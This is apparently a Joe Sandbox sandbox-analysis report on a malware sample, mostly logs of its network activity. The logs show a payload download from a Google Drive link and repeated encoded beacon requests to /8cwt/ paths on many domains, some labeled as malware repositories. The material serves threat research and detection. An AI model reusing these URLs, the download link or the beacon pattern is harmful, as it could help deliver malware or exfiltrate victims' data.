Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_328e0000_fJuwM4Bwi7.jbxd

Similarity

API ID:
String ID: 0$Flst
API String ID: 0-758220159
Opcode ID: 38e4fda4a09a8590d85de150bffa87608d0418be6c1b4450c921a8f12e90e6fe
Instruction ID: a6e37f3ee69411f60d0463272e927ef6f7a33de114630d79a0bdd72660c3d5f7
Opcode Fuzzy Hash: 38e4fda4a09a8590d85de150bffa87608d0418be6c1b4450c921a8f12e90e6fe
Instruction Fuzzy Hash: 76519CB5E00249CBEB14CF94C48479DFBF8EF44759F58942ED4099B240EB709A86CB50

Source: www.innovtech.life	Sophos S4: Label: malware repository domain
Source: http://www.innovtech.life/8cwt/?24eluX=SSpGlvD+1syJM+fS7Z8C1Cd2ZLeBmOr+68qPZxMelqgcCM6DsfmVmmLjkXM2/P+9S0q4oxoduwfupYzMqMwdcdYcBeP38sFbk5TUrAJPEOGdI/gD7BvPJp4=&Mjnd0=JZHP8Tx0t6	Sophos S4: Label: malware repository domain
Source: http://www.innovtech.life/8cwt/	Sophos S4: Label: malware repository domain

Source: Joe Sandbox View	IP Address: 91.195.240.123 91.195.240.123
Source: Joe Sandbox View	IP Address: 3.64.163.50 3.64.163.50

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9
Source: unknown	UDP traffic detected without corresponding DNS query: 9.9.9.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 04 Jun 2024 12:18:53 GMTServer: ApacheX-Powered-By: PHP/8.1.28Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 2508Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 bd 59 7b 73 da b8 16 ff 3b 7c 0a d5 9d ad 61 8a 0d a4 24 a1 10 a7 3b 7d e5 ee 9d 6d bb b3 cd de d9 3b 9d 4e 47 d8 b2 51 22 4b ae 25 e3 d0 34 df fd 1e 49 b6 31 81 a4 d9 b6 73 21 10 bd 7c 74 5e 3a e7 77 c4 f1 83 97 ef 5e 9c fd f7 8f 57 68 a1 52 76 d2 39 d6 ff 50 c8 b0 94 81 23 33 cf 74 3b 7b 7b 7b d0 96 84 44 59 2e 22 a4 c7 bd b8 60 cc 41 0c f3 24 70 08 77 f4 a3 04 47 27 7a ad 7e 75 3a fa d3 39 7e e0 79 e8 5d 46 38 3a cd 71 b6 40 9e 07 0b 53 a2 30 02 4a 19 c9 d5 2a 70 44 32 2d 72 a0 15 0a ae 08 57 81 b3 50 2a 9b 0e 06 65 59 fa 73 c2 92 1c 2f c9 92 32 86 fd 50 a4 83 49 58 aa 81 83 06 3b e9 a8 55 46 5a 84 4a 32 97 54 11 b3 ba 62 cb 30 74 56 52 a5 48 8e 5e e0 3c 6a b1 c4 71 4a 02 47 d9 c9 69 08 93 2d 5a b2 48 53 9c af da b4 e0 63 1f 0c 17 38 97 04 16 fd 75 f6 da 9b 38 9b f4 96 94 94 99 c8 55 9b 2f 1a a9 45 10 81 54 21 f1 4c a7 8f 28 a7 8a 62 e6 c9 10 33 12 8c fc a1 26 a3 99 7d 49 62 5c 30 85 5e bc 7f 6f 79 65 94 5f a0 9c b0 c0 95 6a c5 88 5c 10 a2 5c 44 23 e8 57 16 f2 42 29 f5 c7 45 68 91 93 38 70 2b 8d 6e 6b b3 cc bc 8a ab 41 c6 8a 84 72 39 80 61 ca 13 4f 0a c1 07 59 31 67 34 1c 00 a9 81 c2 94 95 94 47 3e cc fa 30 f0 6c 49 f2 e0 d0 1f 1d f9 63 17 69 bd 07 ae 22 97 6a 60 b6 4d 49 44 71 e0 62 c6 5c d0 17 ba 0f cb 31 b0 81 4b 22 45 4a 7e 26 eb 2d b2 46 0c 60 e9 7b 24 e8 ec 35 6f fd 65 0c 73 2a 44 c2 08 7a 0d 3b dc 30 8c b3 96 d2 b1 62 18 9f 96 20 87 e6 47 fa 89 79 14 67 54 1a 51 34 33 31 4e 29 5b 05 7f 8a b9 50 62 3a 1e 0e 1f 3d 1c 3e 99 cc 22 2a 33 86 57 81 2c 71 e6 00 1f 9d ca 85 4f 99 98 63 86 de 9b 8d ec f6 66 53 70 ce 87 70 3e 33 9c 90 ab 50 30 91 4f 1f be 36 af 6b 54 8f 23 5f 1f 60 38 ac 24 f7 14 4e bc c5 a8 7f eb d4 fe ed 53 4f 6e 9f 1a df 3e 75 70 fb d4 e1 0d 86 9b 85 6d 06 db 1c b5 59 68 ef d9 de e4 26 d5 19 d2 16 f0 ac b6 a7 ee 19 4d 41 7d 6f 49 89 fe 14 29 e6 6e 1f 99 91 be 24 39 8d 67 66 69 49 68 b2 50 d3 27 c3 a1 ed 1b 35 4f b9 c8 53 cc 5a 4a c5 b7 aa 1b 4f 17 02 5c ad 9e 27 87 fa bd 96 ce 9f 2b 7e 35 c7 e1 45 92 8b 82 c3 d9 dd 20 33 17 d1 ea d6 59 f4 80 a6 3a b4 60 ae 66 a8 b5 88 a6 40 78 0a ee 48 70 ee c1 b1 89 28 9c 92 ee 30 22 49 1f e5 c9 1c 77 87 7d f3 f6 0f 7b 5b 03 bd 3e 04 e3 ae fb 8d 13 57 64 4c e0 48 0e f6 87 fb e3 c1 70 dc 2c 06 83 e6 c2 3f cf 12 b7 37 bb b6 07 e6 57 73 94 90 e0 6c 85 64 98 13 c8 05 98 47 a8 9b e2 4b 1b fb a6 68 3c 19 66 97 3d 74 65 03 ab d1 1c a7 f4 3c 5e a2 ab 85 d5 fe 18 16 b4 a5 b5 ea bd cc 8e f8 82 a3 2b 7d 6c 3d cc 68 c2 a7 21 70 07 91 7d 6b e9 f9 05 97 72 72 07 bd da 1b b5 d6 bc 39 13 e1 85 b7 1a ca f0 e8 a0 8f 90 a1 d0 ea d9 e6 bd f6 8d c6 44 8d e3 6f c8 31 2f 94 12 1c dc 21 07 2a de e7 e1 d3 70 c9 ee 45 fd f3 45 ce e5 e8 76 ea 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 04 Jun 2024 12:18:56 GMTServer: ApacheX-Powered-By: PHP/8.1.28Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 2508Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 bd 59 7b 73 da b8 16 ff 3b 7c 0a d5 9d ad 61 8a 0d a4 24 a1 10 a7 3b 7d e5 ee 9d 6d bb b3 cd de d9 3b 9d 4e 47 d8 b2 51 22 4b ae 25 e3 d0 34 df fd 1e 49 b6 31 81 a4 d9 b6 73 21 10 bd 7c 74 5e 3a e7 77 c4 f1 83 97 ef 5e 9c fd f7 8f 57 68 a1 52 76 d2 39 d6 ff 50 c8 b0 94 81 23 33 cf 74 3b 7b 7b 7b d0 96 84 44 59 2e 22 a4 c7 bd b8 60 cc 41 0c f3 24 70 08 77 f4 a3 04 47 27 7a ad 7e 75 3a fa d3 39 7e e0 79 e8 5d 46 38 3a cd 71 b6 40 9e 07 0b 53 a2 30 02 4a 19 c9 d5 2a 70 44 32 2d 72 a0 15 0a ae 08 57 81 b3 50 2a 9b 0e 06 65 59 fa 73 c2 92 1c 2f c9 92 32 86 fd 50 a4 83 49 58 aa 81 83 06 3b e9 a8 55 46 5a 84 4a 32 97 54 11 b3 ba 62 cb 30 74 56 52 a5 48 8e 5e e0 3c 6a b1 c4 71 4a 02 47 d9 c9 69 08 93 2d 5a b2 48 53 9c af da b4 e0 63 1f 0c 17 38 97 04 16 fd 75 f6 da 9b 38 9b f4 96 94 94 99 c8 55 9b 2f 1a a9 45 10 81 54 21 f1 4c a7 8f 28 a7 8a 62 e6 c9 10 33 12 8c fc a1 26 a3 99 7d 49 62 5c 30 85 5e bc 7f 6f 79 65 94 5f a0 9c b0 c0 95 6a c5 88 5c 10 a2 5c 44 23 e8 57 16 f2 42 29 f5 c7 45 68 91 93 38 70 2b 8d 6e 6b b3 cc bc 8a ab 41 c6 8a 84 72 39 80 61 ca 13 4f 0a c1 07 59 31 67 34 1c 00 a9 81 c2 94 95 94 47 3e cc fa 30 f0 6c 49 f2 e0 d0 1f 1d f9 63 17 69 bd 07 ae 22 97 6a 60 b6 4d 49 44 71 e0 62 c6 5c d0 17 ba 0f cb 31 b0 81 4b 22 45 4a 7e 26 eb 2d b2 46 0c 60 e9 7b 24 e8 ec 35 6f fd 65 0c 73 2a 44 c2 08 7a 0d 3b dc 30 8c b3 96 d2 b1 62 18 9f 96 20 87 e6 47 fa 89 79 14 67 54 1a 51 34 33 31 4e 29 5b 05 7f 8a b9 50 62 3a 1e 0e 1f 3d 1c 3e 99 cc 22 2a 33 86 57 81 2c 71 e6 00 1f 9d ca 85 4f 99 98 63 86 de 9b 8d ec f6 66 53 70 ce 87 70 3e 33 9c 90 ab 50 30 91 4f 1f be 36 af 6b 54 8f 23 5f 1f 60 38 ac 24 f7 14 4e bc c5 a8 7f eb d4 fe ed 53 4f 6e 9f 1a df 3e 75 70 fb d4 e1 0d 86 9b 85 6d 06 db 1c b5 59 68 ef d9 de e4 26 d5 19 d2 16 f0 ac b6 a7 ee 19 4d 41 7d 6f 49 89 fe 14 29 e6 6e 1f 99 91 be 24 39 8d 67 66 69 49 68 b2 50 d3 27 c3 a1 ed 1b 35 4f b9 c8 53 cc 5a 4a c5 b7 aa 1b 4f 17 02 5c ad 9e 27 87 fa bd 96 ce 9f 2b 7e 35 c7 e1 45 92 8b 82 c3 d9 dd 20 33 17 d1 ea d6 59 f4 80 a6 3a b4 60 ae 66 a8 b5 88 a6 40 78 0a ee 48 70 ee c1 b1 89 28 9c 92 ee 30 22 49 1f e5 c9 1c 77 87 7d f3 f6 0f 7b 5b 03 bd 3e 04 e3 ae fb 8d 13 57 64 4c e0 48 0e f6 87 fb e3 c1 70 dc 2c 06 83 e6 c2 3f cf 12 b7 37 bb b6 07 e6 57 73 94 90 e0 6c 85 64 98 13 c8 05 98 47 a8 9b e2 4b 1b fb a6 68 3c 19 66 97 3d 74 65 03 ab d1 1c a7 f4 3c 5e a2 ab 85 d5 fe 18 16 b4 a5 b5 ea bd cc 8e f8 82 a3 2b 7d 6c 3d cc 68 c2 a7 21 70 07 91 7d 6b e9 f9 05 97 72 72 07 bd da 1b b5 d6 bc 39 13 e1 85 b7 1a ca f0 e8 a0 8f 90 a1 d0 ea d9 e6 bd f6 8d c6 44 8d e3 6f c8 31 2f 94 12 1c dc 21 07 2a de e7 e1 d3 70 c9 ee 45 fd f3 45 ce e5 e8 76 ea 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 04 Jun 2024 12:18:59 GMTServer: ApacheX-Powered-By: PHP/8.1.28Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: gzipContent-Length: 2508Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 bd 59 7b 73 da b8 16 ff 3b 7c 0a d5 9d ad 61 8a 0d a4 24 a1 10 a7 3b 7d e5 ee 9d 6d bb b3 cd de d9 3b 9d 4e 47 d8 b2 51 22 4b ae 25 e3 d0 34 df fd 1e 49 b6 31 81 a4 d9 b6 73 21 10 bd 7c 74 5e 3a e7 77 c4 f1 83 97 ef 5e 9c fd f7 8f 57 68 a1 52 76 d2 39 d6 ff 50 c8 b0 94 81 23 33 cf 74 3b 7b 7b 7b d0 96 84 44 59 2e 22 a4 c7 bd b8 60 cc 41 0c f3 24 70 08 77 f4 a3 04 47 27 7a ad 7e 75 3a fa d3 39 7e e0 79 e8 5d 46 38 3a cd 71 b6 40 9e 07 0b 53 a2 30 02 4a 19 c9 d5 2a 70 44 32 2d 72 a0 15 0a ae 08 57 81 b3 50 2a 9b 0e 06 65 59 fa 73 c2 92 1c 2f c9 92 32 86 fd 50 a4 83 49 58 aa 81 83 06 3b e9 a8 55 46 5a 84 4a 32 97 54 11 b3 ba 62 cb 30 74 56 52 a5 48 8e 5e e0 3c 6a b1 c4 71 4a 02 47 d9 c9 69 08 93 2d 5a b2 48 53 9c af da b4 e0 63 1f 0c 17 38 97 04 16 fd 75 f6 da 9b 38 9b f4 96 94 94 99 c8 55 9b 2f 1a a9 45 10 81 54 21 f1 4c a7 8f 28 a7 8a 62 e6 c9 10 33 12 8c fc a1 26 a3 99 7d 49 62 5c 30 85 5e bc 7f 6f 79 65 94 5f a0 9c b0 c0 95 6a c5 88 5c 10 a2 5c 44 23 e8 57 16 f2 42 29 f5 c7 45 68 91 93 38 70 2b 8d 6e 6b b3 cc bc 8a ab 41 c6 8a 84 72 39 80 61 ca 13 4f 0a c1 07 59 31 67 34 1c 00 a9 81 c2 94 95 94 47 3e cc fa 30 f0 6c 49 f2 e0 d0 1f 1d f9 63 17 69 bd 07 ae 22 97 6a 60 b6 4d 49 44 71 e0 62 c6 5c d0 17 ba 0f cb 31 b0 81 4b 22 45 4a 7e 26 eb 2d b2 46 0c 60 e9 7b 24 e8 ec 35 6f fd 65 0c 73 2a 44 c2 08 7a 0d 3b dc 30 8c b3 96 d2 b1 62 18 9f 96 20 87 e6 47 fa 89 79 14 67 54 1a 51 34 33 31 4e 29 5b 05 7f 8a b9 50 62 3a 1e 0e 1f 3d 1c 3e 99 cc 22 2a 33 86 57 81 2c 71 e6 00 1f 9d ca 85 4f 99 98 63 86 de 9b 8d ec f6 66 53 70 ce 87 70 3e 33 9c 90 ab 50 30 91 4f 1f be 36 af 6b 54 8f 23 5f 1f 60 38 ac 24 f7 14 4e bc c5 a8 7f eb d4 fe ed 53 4f 6e 9f 1a df 3e 75 70 fb d4 e1 0d 86 9b 85 6d 06 db 1c b5 59 68 ef d9 de e4 26 d5 19 d2 16 f0 ac b6 a7 ee 19 4d 41 7d 6f 49 89 fe 14 29 e6 6e 1f 99 91 be 24 39 8d 67 66 69 49 68 b2 50 d3 27 c3 a1 ed 1b 35 4f b9 c8 53 cc 5a 4a c5 b7 aa 1b 4f 17 02 5c ad 9e 27 87 fa bd 96 ce 9f 2b 7e 35 c7 e1 45 92 8b 82 c3 d9 dd 20 33 17 d1 ea d6 59 f4 80 a6 3a b4 60 ae 66 a8 b5 88 a6 40 78 0a ee 48 70 ee c1 b1 89 28 9c 92 ee 30 22 49 1f e5 c9 1c 77 87 7d f3 f6 0f 7b 5b 03 bd 3e 04 e3 ae fb 8d 13 57 64 4c e0 48 0e f6 87 fb e3 c1 70 dc 2c 06 83 e6 c2 3f cf 12 b7 37 bb b6 07 e6 57 73 94 90 e0 6c 85 64 98 13 c8 05 98 47 a8 9b e2 4b 1b fb a6 68 3c 19 66 97 3d 74 65 03 ab d1 1c a7 f4 3c 5e a2 ab 85 d5 fe 18 16 b4 a5 b5 ea bd cc 8e f8 82 a3 2b 7d 6c 3d cc 68 c2 a7 21 70 07 91 7d 6b e9 f9 05 97 72 72 07 bd da 1b b5 d6 bc 39 13 e1 85 b7 1a ca f0 e8 a0 8f 90 a1 d0 ea d9 e6 bd f6 8d c6 44 8d e3 6f c8 31 2f 94 12 1c dc 21 07 2a de e7 e1 d3 70 c9 ee 45 fd f3 45 ce e5 e8 76 ea 3

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1aR4Z8ZJ0aOrlWMPa0XiQ2Bvj5cArcFOq HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1aR4Z8ZJ0aOrlWMPa0XiQ2Bvj5cArcFOq&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=iQ4bGvtt1bUOdIMmx0FoKxyGgfNtaKfegGtnnpaIA0bWJs9Q4689zouPx5Y4+HL6T4TvrzgawqpIlVOGUgGREoTlcD3Zw3RnhErLbn743FaHB2O7toC+0mA=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.respirelavie.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=KAkr0JsC36DOGBdb86MaWw8oa5TA2XZrFg5SI4PSAqjqBay0+Mt9GFSkKu0kcsR0pRjPiVoCFffv9kAFnu4p94pvlKRDsoyD63jLrTdFBvrOG4BRdTojXfc=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.airportsurvery.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=SSpGlvD+1syJM+fS7Z8C1Cd2ZLeBmOr+68qPZxMelqgcCM6DsfmVmmLjkXM2/P+9S0q4oxoduwfupYzMqMwdcdYcBeP38sFbk5TUrAJPEOGdI/gD7BvPJp4=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.innovtech.lifeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=wJjsrv+xTFW5EezvLu5DoT5e4On1D8g+dr15EOXITWTD1anv0RLrfGS01TvW8pCuGmfcOvvelUpztksk4WpfZfFxijTtARXG8NIL7Taa8Kq3eoSsUv86NcY=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.k4ryd.usAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=15acxp6jrOd/buvS9YLoVCwQt/eIj0wV8tP3YL3PMsIjyFVitYjgFC8LDxGQh6T0kTJLIrMUzadAXsDAGdfiNfgPYx4xbqKJILHq2u+5CghFrM1CdZcxiKw=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.accentbathrooms.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=l+yNdBmIbZk94DyhKMCQgPu5et7F5Fjr+MUK0mOzdhwjPjmD5w+n15/KVowCPgtS4Y9yjKxUIxHTxuQuQfpR6KughRwQexCRaaEyjIZ4vPoy+iMgbgX/vtU=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.shun-yamagata.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=2L0w4dAlDepmBmTjVKMMeU7pTlJruWimQKtzQaHnPyexis6Apolau4+PRU3ZMaY44LgKCLzXfDRRDI6NjDrIa0AFdv/y2wt/s903kXPouMaZATl0JyX7k5A=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.brongal.byAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=8fvO6riwiNdGIieTsu/tMoq1+6O9galEvK05+Szv2OjuFl7+WHHAVTXMU1G96mraFYLMRcvsh+SJXHUnSCy+mSK3fOJTqBcOyoKopFv0eDv6jorQ0HypEvo=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.jdps.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=/eyPcvofDN2lSaRtaOy598Um2jV4WFkB8F+tj/gurFaBNg3fGC8Bq8tEkH7S9Bted1WP+/9Tvc8BBtdeQx/29+uX5MeVdplxqUx1gZhmZuS5o8pYgM2a/wg=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.belgravevilla.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=hBVPMRA8AXkfi8sX3ZU3xUlYATFWOWKaW/82pjFjYWbiYeLOxLODNY5T0HEKtdu9psozILhwOJRChZ+L+nmp0Ast2pFtgkKWXgnlG+28tA4JhCFPXI/mZUw=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.insist.siteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=ta/RVvqxwt03TPXWzdfJPt4x66UfuVsjNv5QpTaL8gP24YNLrE30I2eSxM0VtxXCv+eA5B8kQfuz0YxEkZl7phijUbluJOwzHO73Kb9kDKOg+aMKAT0Adgs=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.nurenose.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=JIyO8Gc0ZaCUBC4gwloHiifCYtv01LSxCuL3sMDgSuZIErE9iBbFukGcMyuYgIJjP33nSDseYz7bP5VCvKNEdyHwbE4qu9h+y1aodMHm9WSOLrl68ngvcME=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.cd14j.usAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=iQ4bGvtt1bUOdIMmx0FoKxyGgfNtaKfegGtnnpaIA0bWJs9Q4689zouPx5Y4+HL6T4TvrzgawqpIlVOGUgGREoTlcD3Zw3RnhErLbn743FaHB2O7toC+0mA=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.respirelavie.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=KAkr0JsC36DOGBdb86MaWw8oa5TA2XZrFg5SI4PSAqjqBay0+Mt9GFSkKu0kcsR0pRjPiVoCFffv9kAFnu4p94pvlKRDsoyD63jLrTdFBvrOG4BRdTojXfc=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.airportsurvery.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=SSpGlvD+1syJM+fS7Z8C1Cd2ZLeBmOr+68qPZxMelqgcCM6DsfmVmmLjkXM2/P+9S0q4oxoduwfupYzMqMwdcdYcBeP38sFbk5TUrAJPEOGdI/gD7BvPJp4=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.innovtech.lifeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=wJjsrv+xTFW5EezvLu5DoT5e4On1D8g+dr15EOXITWTD1anv0RLrfGS01TvW8pCuGmfcOvvelUpztksk4WpfZfFxijTtARXG8NIL7Taa8Kq3eoSsUv86NcY=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.k4ryd.usAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=15acxp6jrOd/buvS9YLoVCwQt/eIj0wV8tP3YL3PMsIjyFVitYjgFC8LDxGQh6T0kTJLIrMUzadAXsDAGdfiNfgPYx4xbqKJILHq2u+5CghFrM1CdZcxiKw=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.accentbathrooms.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=l+yNdBmIbZk94DyhKMCQgPu5et7F5Fjr+MUK0mOzdhwjPjmD5w+n15/KVowCPgtS4Y9yjKxUIxHTxuQuQfpR6KughRwQexCRaaEyjIZ4vPoy+iMgbgX/vtU=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.shun-yamagata.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Source: global traffic	HTTP traffic detected: GET /8cwt/?24eluX=2L0w4dAlDepmBmTjVKMMeU7pTlJruWimQKtzQaHnPyexis6Apolau4+PRU3ZMaY44LgKCLzXfDRRDI6NjDrIa0AFdv/y2wt/s903kXPouMaZATl0JyX7k5A=&Mjnd0=JZHP8Tx0t6 HTTP/1.1Host: www.brongal.byAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: www.respirelavie.net
Source: global traffic	DNS traffic detected: DNS query: www.airportsurvery.com
Source: global traffic	DNS traffic detected: DNS query: www.innovtech.life
Source: global traffic	DNS traffic detected: DNS query: www.k4ryd.us
Source: global traffic	DNS traffic detected: DNS query: www.auetravel.kz
Source: global traffic	DNS traffic detected: DNS query: www.accentbathrooms.com
